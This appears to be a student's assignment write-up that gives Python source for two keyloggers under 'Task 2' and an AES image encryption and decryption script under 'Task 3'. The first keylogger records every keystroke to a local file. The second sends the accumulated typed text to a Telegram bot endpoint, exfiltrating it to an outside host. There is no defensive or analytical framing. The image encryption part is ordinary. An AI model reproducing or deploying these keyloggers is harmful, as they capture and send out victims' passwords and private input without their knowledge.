Task 2 : Keylogger Software

Model 1:

```
from pynput.keyboard import Listener
def write_to_file(key):

    file_path = "keylog.txt"
    with open(file_path, "a") as f:
        f.write(str(key))
def on_press(key):
    try:
        write_to_file(key.char)
    except AttributeError:
        write_to_file(f" {key} ")
with Listener(on_press=on_press) as listener:
    listener.join()
```

Model 2:

```
import requests
import keyboard

def send_message(word):
    url =
f'https://api.telegram.org/bot<your_bot_token>/sendMessage?chat_id=<your_chat_id
>&text={word}'
    requests.post(url)

def on_key(key):
    try:
        key = key.name
        if key == 'space':
            key = ' '
        elif key == 'enter':
            key = '\n'
        elif key == 'backspace':
            if len(list_of_words) > 0:
                list_of_words.pop()
            return
        elif key.startswith('ctrl') or key.startswith('alt') or key.startswith('shift') or
key.startswith('cmd'):
```

```
            return
    except AttributeError:
        pass

    list_of_words.append(key)
    send_message(''.join(list_of_words))

list_of_words = []
keyboard.on_press(on_key)
keyboard.wait('esc')
```

Task 3 Image Encryption

```
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from PIL import Image
import io

def encrypt_image(image_path, key):
    # Load image
    with open(image_path, 'rb') as img_file:
        image_bytes = img_file.read()

    # Pad the image bytes
    padded_data = pad(image_bytes, AES.block_size)

    # Generate a random initialization vector (IV)
    iv = get_random_bytes(AES.block_size)

    # Create AES cipher object
    cipher = AES.new(key, AES.MODE_CBC, iv)

    # Encrypt the image data
    encrypted_data = cipher.encrypt(padded_data)

    # Save encrypted image
    encrypted_image_path = "encrypted_image.png"
    with open(encrypted_image_path, 'wb') as encrypted_file:
        encrypted_file.write(iv + encrypted_data)
```

```
    print("Image encrypted and saved as", encrypted_image_path)

def decrypt_image(encrypted_image_path, key):
    # Load encrypted image
    with open(encrypted_image_path, 'rb') as encrypted_file:
        encrypted_data = encrypted_file.read()

    # Extract IV
    iv = encrypted_data[:AES.block_size]
    encrypted_data = encrypted_data[AES.block_size:]

    # Create AES cipher object
    cipher = AES.new(key, AES.MODE_CBC, iv)

    # Decrypt the image data
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

    # Display the decrypted image
    decrypted_image = Image.open(io.BytesIO(decrypted_data))
    decrypted_image.show()

# Example usage
key = get_random_bytes(16)  # 128-bit key for AES
image_path = "your_image.png"  # Replace with the path to your image

# Encrypt image
encrypt_image(image_path, key)

# Decrypt image
decrypt_image("encrypted_image.png", key)
```

This code decrypts an image and displays it using the PIL library, the output is a visual representation of the decrypted image. When you run this code, it will first encrypt an image, save the encrypted data, and then decrypt the encrypted image and display it. The output will be a window displaying the decrypted image.

Note that the encryption and decryption process is not directly visible in the output, as it's a background process. You'll see the original image displayed after decryption.